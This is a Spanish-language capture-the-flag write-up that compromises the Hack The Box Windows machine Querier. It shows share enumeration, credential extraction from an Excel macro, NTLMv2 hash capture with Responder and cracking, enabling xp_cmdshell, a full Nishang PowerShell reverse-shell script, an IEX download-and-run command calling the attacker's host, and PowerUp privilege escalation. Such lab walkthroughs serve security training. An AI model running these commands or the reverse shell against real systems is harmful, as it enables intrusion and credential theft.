
El dia de hoy vamos a estar resolviendo la maquina Querier
de hackthebox
que es una Windows
de dificultad Media
. Comenzaremos enumerando los recursos compartidos smb
para obtener la contraseña de un usuario, informando que puede iniciar sesión en el mssql-server
. Para obtener el usuario en el sistema, podemos robar el hash del usuario mssql-svc
ejecutando el comando xp_dirtree
y finalmente para la escalada de privilegios al administrador que es bastante sencilla aprovecharemos el script powerup.ps1
de powersploit para obtener las credenciales administrativas alojadas en un archivo xml
.
Vamos a comenzar como siempre creando un directorio con el nombre de la maquina:
❯ mkdir Querier
❯ ls
Querier
❯ which mkt
mkt () {
mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
content exploits nmap scripts
Enumeración #
Ahora que tenemos nuestros directorios proseguimos con la fase de Enumeracion, empezamos mandando una traza a la ip de la maquina victima con el comando ping
:
❯ ping -c 1 10.10.10.125
PING 10.10.10.125 (10.10.10.125) 56(84) bytes of data.
64 bytes from 10.10.10.125: icmp_seq=1 ttl=127 time=137 ms
--- 10.10.10.125 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 137.483/137.483/137.483/0.000 ms
Vemos que la maquina nos responde ahora procederemos a el scaneo de puertos con la ayuda de nmap
:
Escaneo de Puertos
Parámetro | Descripción |
---|---|
-p- | Escaneamos todos los 65535 puertos. |
–open | Solo los puertos que estén abiertos. |
-v | Permite ver en consola lo que va encontrando (verbose). |
-oG | Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles |
Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre allPorts
:
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.125 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-25 14:23 GMT
Initiating SYN Stealth Scan at 14:23
Scanning 10.10.10.125 [65535 ports]
Discovered open port 135/tcp on 10.10.10.125
Discovered open port 139/tcp on 10.10.10.125
Discovered open port 445/tcp on 10.10.10.125
Discovered open port 49664/tcp on 10.10.10.125
Discovered open port 49665/tcp on 10.10.10.125
Discovered open port 49670/tcp on 10.10.10.125
Discovered open port 47001/tcp on 10.10.10.125
Discovered open port 49668/tcp on 10.10.10.125
Discovered open port 49666/tcp on 10.10.10.125
Discovered open port 49667/tcp on 10.10.10.125
Discovered open port 1433/tcp on 10.10.10.125
Discovered open port 49669/tcp on 10.10.10.125
Discovered open port 49671/tcp on 10.10.10.125
Discovered open port 5985/tcp on 10.10.10.125
Completed SYN Stealth Scan at 14:23, 19.31s elapsed (65535 total ports)
Nmap scan report for 10.10.10.125
Host is up, received user-set (0.11s latency).
Scanned at 2023-03-25 14:23:13 GMT for 19s
Not shown: 65090 closed tcp ports (reset), 431 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127
49671/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.47 seconds
Raw packets sent: 95410 (4.198MB) | Rcvd: 82570 (3.303MB)
Podemos ver puertos interesantes que se encuentran abiertos como 135 rpc
, 139 ldap
, 445 smb
, 1433 mssql
y 5985 winrm
.
Escaneo de Version y Servicios.
❯ nmap -sCV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 10.10.10.125 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-25 14:26 GMT
Nmap scan report for 10.10.10.125
Host is up (0.44s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-03-25T14:21:57
|_Not valid after: 2053-03-25T14:21:57
|_ssl-date: 2023-03-25T14:27:31+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb2-time:
| date: 2023-03-25T14:27:20
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.96 seconds
Visulizamos informacion interesante de los puertos escaneados:
Puerto | Servicio | Versión |
---|---|---|
135 | RPC | Microsoft Windows RPC |
139 | LDAP | Microsoft Windows netbios-ssn |
445 | SMB | ? |
1433 | MSSQL-S | Microsoft SQL Server 2017 14.00.1000.00; RTM |
5985 | WINRM | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
Ya que vemos que el puerto 445 esta abierto procederemos a enumerarlo, usaremos la herramienta crackmapexec:
❯ crackmapexec smb 10.10.10.125
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
Vamos a buscar si hay recursos compartidos a los que podemos acceder, para ello podemos hacer uso de smbmap con los parametros -H
para especificar el host y -u
para hacer uso de una sesion nula.
❯ smbmap -H 10.10.10.125 -u 'null'
[+] Guest session IP: 10.10.10.125:445 Name: 10.10.10.125
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Reports READ ONLY
Despues de ver que si podemos listar los recursos compartidos, vemos uno interesante con el nombre de Reports
vamos a ingresar en el para ver su contenido, añadiremos para eso el parametro ‘-r’ y el nombre del recurso:
❯ smbmap -H 10.10.10.125 -u 'null' -r Reports
[+] Guest session IP: 10.10.10.125:445 Name: 10.10.10.125
Disk Permissions Comment
---- ----------- -------
Reports READ ONLY
.\Reports\*
dr--r--r-- 0 Mon Jan 28 23:26:31 2019 .
dr--r--r-- 0 Mon Jan 28 23:26:31 2019 ..
fr--r--r-- 12229 Mon Jan 28 23:26:31 2019 Currency Volume Report.xlsm
Dentro existe un archivo con la extension xlsm
, asi que vamos a descargarnoslo y renombrar el archivo a un nombre mas comodo:
❯ smbmap -H 10.10.10.125 -u 'null' --download "Reports\Currency Volume Report.xlsm"
[+] Starting download: Reports\Currency Volume Report.xlsm (12229 bytes)
[+] File output to: /home/fmiracle/Machines/Querier/content/10.10.10.125-Reports_Currency Volume Report.xlsm
❯ ls
10.10.10.125-Reports_Currency Volume Report.xlsm
❯ mv 10.10.10.125-Reports_Currency\ Volume\ Report.xlsm Report.xlsm
❯ ls
Report.xlsm
Explotación #
Como es un archivo xlsm
trataremos con el comando strings
lista del archivo algunos caracteres legibles:
❯ strings Report.xlsm
[Content_Types].xml
apP<*
Fi+i
d|}5
o=`Fh
O(%$
_rels/.rels
BKwAH
GJy(v
USh9i
Al no ver informacion interesante, vamos a utilizar un herramienta de github llamada olebva
:
Esta herramienta nos permite analizar archivos OLE
y OpenXML
, como documentos de MS Office
para poder detectar macros en texto claro.
Ejecutamos la herramienta pasandole el archivo xlsm
y esta nos parsea la informacion donde podemos ver un usario
y contraseña
:
❯ olevba Report.xlsm
olevba 0.60 on Python 3.9.2 - http://decalage.info/python/oletools
===============================================================================
FILE: Report.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open |May open a file |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
Vamos a proceder a verificar si las credenciales son validas para ello usaremos crackmapexec
:
❯ crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKGROUP
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] WORKGROUP\reporting:PcwTWTHRwryjc$c6
Como tenemos credenciales validas, podemos tratar de conectarnos al servicio mssql
que vimos antes, para ello usaremos la herramienta mssqlclient.py
que viene incluida en la suite de impacket
:
Especificamos tal como nos indica el uso de la herramienta el dominio
, usuario
, contraseña
y adicionamos el parametro -windows-auth
el cual permite utilizar o no la autenticación de Windows (por defecto False)
❯ mssqlclient.py WORKGROUP/reporting@10.10.10.125 -windows-auth
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands SQL>
Una vez conectados al servicio lo que intentaremos hacer es usar xp_cmdshell
para tratar de ejecutar comandos, pero vemos que el usuario reporting
no cuenta con los privilegios suficientes:
SQL> xp_cmdshell 'whoami'
[-] ERROR(QUERIER): Line 1: Incorrect syntax near 'whoami'.
SQL> sp_configure 'show_advance', 1
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
SQL> sp_configure 'xp_cmdshell', 1
[-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
SQL> sp_configure 'show_advance', 1
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
SQL> reconfigure
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL>
Probaremos a tratar de lanzar una conexion con el comando xp_dirtree
para tratar de realizar una conexion a un recurso compartido que alojare en mi maquina y mientras el servidor trata de auntenticarse a mi maquina, con responder
intentare capturar el hash ` Net-NTLMv2`.
-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL> xp_dirtree "\\10.10.16.4\test"
subdirectory depth
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------
SQL>
❯ responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[+] HTTP Options:
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Serving EXE [OFF]
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoning Options:
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
Fingerprint hosts [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.16.4]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-LBGCELK616Y]
Responder Domain Name [68T9.LOCAL]
Responder DCE-RPC Port [49780]
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.10.125
[SMB] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMB] NTLMv2-SSP Hash : mssql-svc::QUERIER:ba540bb74f74294f:4BD001461E512C70BDF3EEB128106707:0101000000000000808ED3322E5FD901A773108D6C1BE5000000000002000800360038005400390001001E00570049004E002D004C0042004700430045004C004B00360031003600590004003400570049004E002D004C0042004700430045004C004B0036003100360059002E0036003800540039002E004C004F00430041004C000300140036003800540039002E004C004F00430041004C000500140036003800540039002E004C004F00430041004C0007000800808ED3322E5FD90106000400020000000800300030000000000000000000000000300000E9065E16CEFD1E276185F5DFA30A232F59D4C33E5CD80DC5D131A1B67AEAE4F60A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E003400000000000000000000000000
Obtuvimos un hash correspondiente al usario mssql-svc
el cual trataremos de crackearlo con john
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568 (mssql-svc)
1g 0:00:00:37 DONE (2023-03-25 15:30) 0.02700g/s 241965p/s 241965c/s 241965C/s correforenz..cornamuckla
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
John
logra obtener la contraseña en texto claro y ahora contamos con nuevas credenciales que podemos probar:
- usuario: mssql-svc
- password: corporate568
Volvemos a validar la contraseña con crackmapexec
y efectivamente son validas:
❯ crackmapexec smb 10.10.10.125 -u 'mssql-svc' -p 'corporate568' -d WORKGROUP
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] WORKGROUP\mssql-svc:corporate568
Ya que ahora disponemos de credenciales del usuario mssql-svc
quiero pensar que me puedo conectar con mssqlclient.py
y que este contara con mayores privilegios y esta vez si que podremos ejecutar comandos:
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> sp_configure 'xp_cmdshell', 1
[-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
SQL> sp_configure 'show_advanced', 1
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure
SQL> sp_configure 'xp_cmdshell', 1
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure
SQL> xp_cmdshell "whoami"
output
--------------------------------------------------------------------------------
querier\mssql-svc
NULL
SQL>
Esta vez si conseguimos ejecutar comandos, lo siguiente sera ganar acceso con una consola en powershell y movernos mas comodamente desde nuestra maquina victima, y para ello usaremos `
Invoke-PowerShellTcp.ps1 ` del repositorio de Nishang
:
Editaremos la linea final del script y al ejecutarlo con Iex
nos interprete el script incluida la linea final de ese modo matamos dos pajaros de un tiro:
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.4 -Port 443
Seguidamente procedemos a montarnos un servidor local con python donde alojaremos el script Invoke-PowerShellTcp.ps1
:
❯ ls
Invoke-PowerShellTcp.ps1 Report.xlsm
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ejecutamos la instruccion con xp_cmdshell
:
SQL> xp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadString(\"http://10.10.16.4/Invoke-PowerShellTcp.ps1\")"
Nos ponemos en escucha con ncat
en puerto 443
y ganamos acceso al sistema:
❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49681.
Windows PowerShell running as user mssql-svc on QUERIER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami
querier\mssql-svc
PS C:\Windows\system32>
AHora vamos al directorio personal del usuario y visializamos la primera flag user.txt
:
PS C:\Windows\system32>cd C:\Users\
PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/28/2019 10:17 PM Administrator
d----- 1/28/2019 11:42 PM mssql-svc
d-r--- 1/28/2019 10:17 PM Public
PS C:\Users> cd mssql-svc
PS C:\Users\mssql-svc> cd Desktop
PS C:\Users\mssql-svc\Desktop> type user.txt
089b86d375c2a51f4aae02b9a984a9ee
Escalada de Privilegios #
Una vez dentro ejecutamos el comando whoami /priv
y vemos que tenemos activado el SeImpersonatePrivilege
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Podriamos utilizar JuicyPotato
, pero esta vez vamos a usar PowerUp.ps1
de powersploit
para enumerar el sistema.
Nos volvemos a compartir un servidor web con python3
:
❯ ls
Invoke-PowerShellTcp.ps1 PowerUp.ps1 Report.xlsm
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
y ejecutamos con Iex
la instraccion para ejecutar e interpretar el script en la maquina victima y hacer un reconocimiento total:
PS C:\Windows\system32> Iex(New-Object Net.WebClient).downloadString('http://10.10.16.4/PowerUp.ps1')
Una vez ejecutado esperamos un poco y el sistema nos enumera unas credenciales Administrativas del archivo Groups.xml
.
PS C:\Windows\system32> Iex(New-Object Net.WebClient).downloadString('http://10.10.16.4/PowerUp.ps1')
Privilege : SeImpersonatePrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2468
ProcessId : 3744
Name : 3744
Check : Process Token Privileges
ServiceName : UsoSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart : True
Name : UsoSvc
Check : Modifiable Services
ModifiablePath : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH% : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Check : %PATH% .dll Hijacks
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
UnattendPath : C:\Windows\Panther\Unattend.xml
Name : C:\Windows\Panther\Unattend.xml
Check : Unattended Install Files
Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group
Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check : Cached GPP Files
Vamos a proceder a validar si las credenciales corresponden al usuario Administrador
y efectivamente asi es:
❯ crackmapexec smb 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!' -d WORKGROUP
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] WORKGROUP\Administrator:MyUnclesAreMarioAndLuigi!!1! (Pwn3d!)
Ahora podemos hacer uso del puerto 5985
servicio de administracion remota de windows con la ayuda de evil-winrm
nos dirigimos al directorio del usuario Administrator
y podemos visualiar la segunda flag root.txt
:).
❯ evil-winrm -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!' -i 10.10.10.125
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
6d6c9abc4b5ecfaf4587047710b1bbb3
Comments